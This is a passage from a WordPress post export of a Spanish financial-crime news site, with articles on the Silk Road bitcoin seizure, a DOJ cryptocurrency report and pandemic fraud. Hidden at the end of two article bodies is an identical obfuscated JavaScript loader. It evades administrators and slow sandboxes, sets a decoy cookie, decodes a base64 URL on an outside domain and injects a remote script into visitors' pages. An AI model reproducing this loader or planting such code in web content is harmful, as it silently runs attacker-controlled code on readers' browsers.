instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la 